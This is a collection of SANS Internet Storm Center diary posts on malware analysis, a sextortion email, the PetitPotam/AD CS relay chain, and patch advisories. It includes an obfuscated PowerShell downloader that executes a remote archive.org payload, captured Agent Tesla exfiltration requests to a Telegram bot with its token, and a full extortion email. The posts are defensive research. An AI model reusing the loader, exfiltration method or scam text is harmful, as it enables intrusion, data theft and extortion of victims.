archive.org[1], also known as the "way back machine" is a very popular Internet site that allows you to travel back in time and browse old versions of a website (like the ISC website[2]). It works like regular search engines and continuously crawls the internet via bots. But there is another way to store content on archive.org: You may create an account and upload some content by yourself.

I found a piece of malicious Powershell that uses archive.org to download the next stage payload. It's score on VT is only 5/58[3] (SHA256:2c661f8145f82a3010e0d5038faab09ea56bf93dd55c1d40f1276c947572597b). The script is quite simple:

FUNCTION D4FD5C5B9266824C4EEFC83E0C69FD3FAA($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)
{
  $D4FD5C5B9266824C4EEFC83E0C69FD3FAAx = "Fr"+"omBa"+"se6"+"4Str"+"ing"
  $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG = [Text.Encoding]::Utf8.GetString([Convert]::$D4FD5C5B9266824C4EEFC83E0C69FD3FAAx($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE))
  return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
}
$TYFGYTFFFYTFYTFYTFYT = 'hxxps://ia601505[.]us[.]archive[.]org/1/items/server-lol-123_20210606/Server_lol_123.txt'
$JUANADEARCO = 'JEZWWVRGWVRGWUZZRllGWUZHWT0 ... [removed] ... VFJEVAp9CklFWCB2aXA='
$HBAR = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($JUANADEARCO);
$Run=($HBAR -Join '')|I`E`X

The Base64 data is decoded and contains more Powershell code working like a downloader. It fetches the next payload from archive.org, dumps it on the disk, and executes it with the help of the following technique:

[Reflection.Assembly]::Load($H5).GetType('VBNET.PE').GetMethod('Run').Invoke($null,[object[]] ( 'C:WindowsMicrosoft.NETFrameworkv4.0.30319aspnet_compiler.exe',$H1))

Let's put aside the malware (a classic one) and give more focus on the file grabbed from archive.org. If you go one directory above, you'll see a directory listing:

The interesting file is server-lol-123_20210606_meta.xml. It reveals interesting information about the attacker:

<metadata>
<identifier>server-lol-123_20210606</identifier>
<mediatype>texts</mediatype>
<collection>opensource</collection>
<description>Server_lol_123</description>
<scanner>Internet Archive HTML5 Uploader 1.6.4</scanner>
<subject>Server_lol_123</subject>
<title>Server Lol 123</title>
<uploader>moxey68914@revutap.com</uploader>
<collection>community</collection>
<publicdate>2021-06-06 06:52:29</publicdate>
<addeddate>2021-06-06 06:52:29</addeddate>
<curation>
[curator]validator@archive.org[/curator][date]20210606065744[/date][comment]checked for malware[/comment]
</curation>
<identifier-access>http://archive.org/details/server-lol-123_20210606</identifier-access>
<identifier-ark>ark:/13960/t9x17kx37</identifier-ark>
</metadata>

As you can see, this user uploaded a lot of files:

That's the wild Internet today: If you allow users to create an account and upload some data, chances are big that the feature will be (ab)used to host malicious content. Indeed, archive.org is a top domain and is usually not blocked or tagged as malicious.

[1] https://archive.org
[2] https://web.archive.org/web/*/isc.sans.edu
[3] https://www.virustotal.com/gui/file/2c661f8145f82a3010e0d5038faab09ea56bf93dd55c1d40f1276c947572597b/details

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

E-mails claiming that their author has recorded the recipient through a webcam while they were "in flagrante delicto" enjoying a visit to some pornographic site, and will publish the recording unless the recipient pays them, have been with us for quite a while now. Over time, these messages haven’t changed much. It is no wonder – since the “hook” they use is fairly timeless and nearly universal in nature, the same messages can be effective for a long time without any substantial modifications.

One can, however, still find small, interesting additions or new approaches in some sextortion messages from time to time. A good example of this was a message that was delivered to our ISC mailbox a couple of weeks ago.

Although at first glance, the message does look like any other sextortion scam, a closer look shows that its author came up with an interesting spin on the usual ransom request.

In the text, the sender claims to work for an IT service company (strictly speaking, they claim to “word” for the company, but we can probably safely assume that that was a typo, and the scammer didn’t try to make the recipient believe that they were working as a wordsmith), which was engaged by recipient’s e-mail provider. This was supposed to give the sender access to the e-mail provider’s user database and – among other information – “online traffic” of individual users.

This then supposedly allowed them to create a list of people – including the recipient – who frequented pornographic websites. The creation of the list was then allegedly followed by infection of the recipient’s computer with spyware using a malicious e-mail link, after which the usual webcam recording was supposed to take place. The rest of the message is fairly generic, as you may judge for yourself…

Greetings!

I have got two not really pleasant news for you.
I have been monitoring your internet activities for some time by now.

The only person to blame in this situation is you, since you are a big fan of adult websites and also have got an uncontrollable desire to indulge yourself with another orgasm.
Simply speaking, all your porn websites search requests have become a key to access your device.
The thing is that I word in a company that provides services related to security and performance of email providers, including isc.sans.edu as well.

During the pandemic outbreak a lot of providers have faced difficulties in maintaining a huge number of staff in their offices and so they have decided to use outsourcing instead.
While working remotely from home, I have got unlimited abilities to access the user databases.

I can easily decrypt passwords of users, access their chat history and online traffic with help of cookie-files.
I have decided to analyse users traffic related to adult websites and adult content.
I was truly shocked to discover that nearly 75% of users regularly access porn websites or participates in sex chats.

I have filtered out the worst perverts from the list. Yeah, you are one of them. Not everyone chooses to watch such hardcore videos… Basically, I have infected your device with one of the best Trojan viruses in the market. It was relatively easy, since I have access to your email address (handlers@isc.sans.edu).
It was sufficient to prepare one of your routine emails asking you to click the harmful link…

My spyware functions as a driver. Hence, I can fully control your device and have access to your microphone, camera, cursor and set of symbols.
Generally speaking, your device is some sort of my remote PC.
Since this spyware is driver-based, then I can constantly update its signatures, so that no antivirus can detect it.
While digging through your hard drive, I have saved your entire contact list, social media access, chat history and media files.

One week ago, I have montaged a videoclip, which shows you masturbating on one side of the screen and on the other side a porn video that you were watching at that moment of time – recently this type of exotic stuff is really popular on the internet!
Don’t worry, I will need just a few mouse clicks in order to share this video with your entire contact list and upload it to some porn website, like Bigle.
I believe that you would not like this to happen, since a long holiday season is just about to start soon – just imagine the number of silly jokes and loud laughter that would get provoked by your video all over the neighbourhood bars and pubs…

I am offering a simple and reasonable solution:
All you need to do is transfer an amount equivalent to $1150 (USA Dollars) to my bitcoin wallet and we both forget about this silly story forever.
All your data and this video will be deleted by me once and for all. You have my honest word!
You’ve got to agree, this amount is really insignificant. Just imagine how much time and resources I have spent to get this done… If you don’t know how to operate the cryptocurrency – you can always search for assistance online. It is that simple.

Here is my bitcoin wallet (BTC): bc1qfnx5388zl4c4hpcdsjxj0tgcn2gd8pyrljg6s6

You have exactly 2 days (48 hours) from the moment of opening this email.
I can easily track when you have opened this email (my software will notify me about it). Once you complete the transaction – I will be able to see and confirm that.
Please, do not try replying me via this email – there is no point in that (as you can see the email is sent from your address).

Remember that there is no point to complain anywhere, since I cannot be found (Bitcoin system is anonymous and I am also using I2P network in order to access your device).
I have considered all the small details.
In case, if 48 hours after you have opened this email, I still don’t receive the required amount of money, then your videoclip will be automatically sent to all your contact list and uploaded to public websites.

Good luck and please don’t hate me too much!

This is life! You are merely out of luck this time.
Who knows, maybe next time you will get lucky at something else…

Although the “I work for an IT service provider who has access to your data at work and that’s how I’ve decide to target you” is certainly an interesting addition to the usual sextortion scam (and might, perhaps, be worth mentioning during a security awareness training), it doesn’t seem to have made this specific message more effective… At least going by the “0.00000000 BTC” that was received by the address mentioned in the message at the time of writing[1].

[1] https://www.blockchain.com/btc/address/bc1qfnx5388zl4c4hpcdsjxj0tgcn2gd8pyrljg6s6

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Apple has released another update (previous update was only about 5 days ago) to address CVE-2021-30807 that was discovered by an anonymous researcher. This update resolves an issue with IOMobileFrameBuffer which could allow an application to execute arbitrary code with kernel privileges [1], [2]. This issue may have been actively exploited.

As Apple has indicated that this issue may have been actively exploited, it is recommended that affected devices be updated as soon as possible.

References:
[1] https://support.apple.com/en-us/HT212622
[2] https://support.apple.com/en-us/HT212623

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Jan's diary entry "One way to fail at malspam – give recipients the wrong password for an encrypted attachment" got my attention: it's an opportunity for me to do some password cracking 🙂 I asked Jan for the sample.

Just like Jan noticed, I saw that the sample is not actually a 7zip file, but a ZIP file. This could be a mistake by the malware authors, or it could be deliberate: 7zip is able to decompress a ZIP file with extension 7z.

And I confirm that AWB3604 is not the password.

Since it's a ZIP file, I first used my zipdump.py tool: it has a leightweight password cracking feature.

But that did not help:

Then I turned to John the Ripper. I used zip2john to create a hash for the sample, and created a password list file with a single line: AWB3604. And then I let JtR use all of its built-in rules on this "dictionary":

One of JtR's rules transformed the presumed password AWB3604 into 3604, and that turned out to be the actual password.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Wireshark version 3.4.7 was released.

There's one vulnerability fix (DNP dissector crash) and 3 bug fixes.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Phew, this was a really bad week for Microsoft (and a lot of reading for all of us). And just when we thought that the fiasco with the SAM hive was over, a new vulnerability popped up, which is much, much more dangerous unfortunately – it allows a user to completely take over a Windows domain that has the ADCS service running. And those are probably running in majority of enterprises.

This involves chaining few things (and I’m a big fan of chaining vulnerabilities), and the bottom line issue is in relaying NTLM authentications (as has been many, many times before).

This is what’s going on now:

(1) Let’s provoke arbitrary NTLM authentication

Earlier this week, @topotam77 released a PoC tool called PetitPotam, which exploits the MS-EFSRPC (Encrypting File System Remote (EFSRPC)) protocol in order to provoke one Windows host to try to authenticate to another. This is done over LSARPC (TCP port 445) and results in making the target server connect to an arbitrary server and perform NTLM authentication.

What’s even crazier is that this can be done without any authentication – so as long as you can connect to the target server to the LSARPC named pipe with interface c681d488-d850-11d0-8c52-00c04fd90f7e, you can make that target server connect to any other server.

Here’s how this can be done:

(2) Relaying to Active Directory Certificate Services

The other vulnerability that is being exploited here is the fact that the IIS server that is used by Active Directory Certificate Services uses NTLM over HTTP for authentication. This makes it perfect for this attack. @ExAndroidDev made a fork of the amazing Responder tool and added support for this attack.

Basically, what the fork is doing is using Responder to relay NTLM authentication to the Active Directory Certificate Services IIS server. In this process it first sends a POST HTTP request to the /certsrv/certfnsh.as endpoint with an automatically generated certificate. While doing this it also passes the NTLM credentials.

If the POST request was successful, the Active Directory Certificate Services server will sign the certificate and Responder will fetch it by sending a GET HTTP request to /certsrv/certnew.cer?ReqID= where the parameter will be provided as response to the POST request.

This is what it looks like when executed:

With the certificate now, it is actually game over.

(3)    Using Rubeus to get a TGT

The attacker can now use the Rubeus tool to fetch a Kerberos TGT (Ticket Granting Ticket), by using the machine account that was initially abused to make the NTLM connection. You can probably guess it by now – if that machine was a domain controller, we can get the TGT as that domain controller machine account, which will then ultimately allow the attacker to fully compromise the domain.

It is really game over now. With this TGT in our cache, we can fetch service tickets and perform any action we want, including the Mimikatz’ famous DCSync as @gentilkiwi demonstrated.

Talk about a bad week. And weekend. Sowhat can we do?

One of main issues here is that Active Directory Certificate Services use NTLM for authentication:

So, depending on how your enterprise uses ADCS, you could disable NTLM authentication on the IIS server and this particular attack will not be possible any more. Of course, if you do not need this particular service (web based certificate enroll) – remove it completely!

Couple of other things that will help:

• Use host based firewalls to limit connectivity as much as possible. Does your DC need to make outbound connections to port 445? Do your workstations need to allow inbound connectivity to port 445?
• Collect IIS logs from the Active Directory Certificate Services server to your SIEM and check for those requests mentioned above.

We’ll (again) keep an eye on this, and will update the diary with new information when possible. But it looks like it will be a busy weekend for some.

—
Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A few days ago, I found an interesting file delivered by email (why change a winning combination?). The file has a nice extension: “.daa” (Direct Access Archive). We already reported such files in 2019 and Didier wrote a diary[1] about them. Default Windows installation, can’t process “.daa” files, you need a specific tool to open them (like PowerISO). I converted the archive into an ISO file and extracted the PE file inside it.

The sample was called “E445333###.exe” (SHA256:853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead) and has a VT score of 48/70[2]. It’s a classic Agent.Tesla but this one uses another C2 channel to exfiltrate data. Instead of using open email servers, it uses Telegram (the messenger application). I started to debug the PE file (a classic .Net executable) but it took a lot of time before reaching some interesting activity so I took another approach and went back to a classic behavioral analysis. I fired a REM Workstation, connected it to the Internet through a REMnux, and launched the executable.

It took some time (approx 15 mins) before I saw the first connection to api[.]telegram[.]org:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1

Content-Type: multipart/form-data; boundary=---------------------------8d94d2d30eed79c

Host: api.telegram.org
Content-Length: 983
Expect: 100-continue
Connection: Keep-Alive
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="chat_id"

1599705393
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="caption"

New Log Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB
-----------------------------8d94d2d30eed79c
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html"
Content-Type: text/html

Time: 07/22/2021 16:24:31<br>User Name: REM<br>Computer Name: DESKTOP-2C3IQHO<br>OSFullName: Microsoft Windows 10 Enterprise<br>CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz<br>RAM: 8191.49 MB<br>IP Address: <br><hr><br><font color="#00b1ba"><b>[ Process Hacker: </b>Filter <b>]</b> <font color="#000000">(07/22/2021 16:01:01)</font></font><br>api<font color="#00ba66">{ENTER}</font><br>

-----------------------------8d94d2d30eed79c--

And the reply:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 22 Jul 2021 14:24:34 GMT
Content-Type: application/json
Content-Length: 662
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

{"ok":true,"result":{"message_id":6630,"from":{"id":1815802853,"is_bot":true,"first_name":"Bigdealz","username":"Bigdealzbot"},"chat":{"id":1599705393,"first_name":"Gracia","last_name":"Smith","username":"Graciasmith1","type":"private"},"date":1626963874,"document":{"file_name":"REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIZ5mD5f6KNxerk3Fq4TG00ctuw4KRbAAJYCAACBovJUw5z5vTXh3vBIAQ","file_unique_id":"AgADWAgAAgaLyVM","file_size":388},"caption":"New Log Recovered!nnUser Name: REM/DESKTOP-2C3IQHOnOSFullName: Microsoft Windows 10 EnterprisenCPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHznRAM: 8191.49 MB"}}

A few minutes later, the Trojan started to exfiltrate screenshots:

POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8d94d3662696c53
Host: api.telegram.org
Content-Length: 194635
Expect: 100-continue
Connection: Keep-Alive

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="chat_id"

1599705393

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="caption"

New Screenshot Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB

-----------------------------8d94d3662696c53
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 05-30-21.jpeg"
Content-Type: image/jpeg

JFIF``C
(1#%(:3=<9387@HN@DWE78PmQW_bghg>MqypdxegcC//cB8BccccccccccccccccccccccccccccccccccccccccccccccccccOm"
[stuff deleted]

The file that is uploaded contains a timestamp. This confirmed to me that a screenshot is exfiltrated every hour.

Because we know the bot ID, we can interact with it.

Let’s check the bot info:

remnux@remnux:~$ curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/getMe | jq
{
  "ok": true,
  "result": {
    "id": 1815802853,
    "is_bot": true,
    "first_name": "Bigdealz",
    "username": "Bigdealzbot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false
  }
}

The user the bot is talking to is "Graciasmith1" (still online on Telegram when I'm writing this diary). Let's make it aware that we are also alive:

remnux@remnux:~$  curl -s hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-UOmcTcCR8glZAAkNmzHpMkL8/sendMessage -X POST -d '{"chat_id":"1599705393", "text":"Ping"}' -H "Content-Type: application/json" | jq
{
  "ok": true,
  "result": {
    "message_id": 6884,
    "from": {
      "id": 1815802853,
      "is_bot": true,
      "first_name": "Bigdealz",
      "username": "Bigdealzbot"
    },
    "chat": {
      "id": 1599705393,
      "first_name": "Gracia",
      "last_name": "Smith",
      "username": "Graciasmith1",
      "type": "private"
    },
    "date": 1627107886,
    "text": "Ping"
  }
}

As you can see, today it's very touchy to spot malicious activity just by watching classic IOCs like IP addresses or domain names. Except if you prevent your users to access social networks like Telegram, who will flag traffic to api.telegram.org as suspicious? Behavioral monitoring can be the key: You can see requests at regular intervals, outside business hours, or from hosts that should not execute social network applications. Because your servers can access the Internet directly, right? 😉

[1] https://isc.sans.edu/forums/diary/The+DAA+File+Format/25246
[2] https://www.virustotal.com/gui/file/853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Today’s diary revisits hunting for dodgy domains via Hurricane Electric's BGP Toolkit [1]. This was previously done in an earlier diary [2], and I plan to do this occasionally to share potential or identified threats so that readers can be aware of them.

I selected the IP address block of 209.58.160.0/20 this time, partly also due to a significant number of hits on my DShield sensor from this IP address block. An entry immediately caught my attention, and stood out due to the recent Akamai outage as mentioned by Johannes [3]. With reference to Figure 1, there was a site “akammai.com” lurking amongst the plethora of many other websites that was hosted on the same IP address.

Figure 1: “akammai.com” Hosted on 209.58.163[.]95

A closer inspection on the site showed a “Hello world” post, and did not display any other noticeable features (as shown in Figure 2).

Figure 2: Screenshot of “akammai.com”

As of now, the site appears to be pretty harmless. However, the domain name is quite close to the actual Akamai domain name (akamai.com). Depending on the true owner of the domain name “akammai.com”, the site could very well be repurposed and used by cybercriminals or red teams for their phishing campaigns. This is especially so due to the recent Akamai outage, or perhaps in a future unforeseen outage related to Akamai. It would be worthwhile to be wary of such domain names, particularly more so if they do not have any relation to the original site but yet bear such a close resemblance.

Indicators of Compromise (IOCs):
hxxp://akammai[.]com
209.58.163[.]95

References:
[1] https://bgp.he.net/
[2] https://isc.sans.edu/diary/27456
[3] https://isc.sans.edu/diary/27660

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft released a knowledge base article regarding CVE-2021-36934 [1]. Bojan yesterday explained the vulnerability in more detail. Recent versions of Microsoft Windows expose several system files due to overly permissive access control lists. Of main interest is the Security Accounts Manager (SAM), which exposes password hashes. It has been demonstrated how this can easily be exploited by retrieving these files from shadow volumes.

Microsoft recommends to:

• restrict access to %windir%system32config
• delete shadow copies

Deleting shadow copies will of course affect any attempts to restore a prior system state. A new shadow copy may be created after the old copies are deleted and the permissions are adjusted.

Windows 10 1809 and newer are affected. This includes the Windows 11 Beta. Server versions of Windows are not affected. But Microsoft also states that they are still investigating which versions are affected.

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.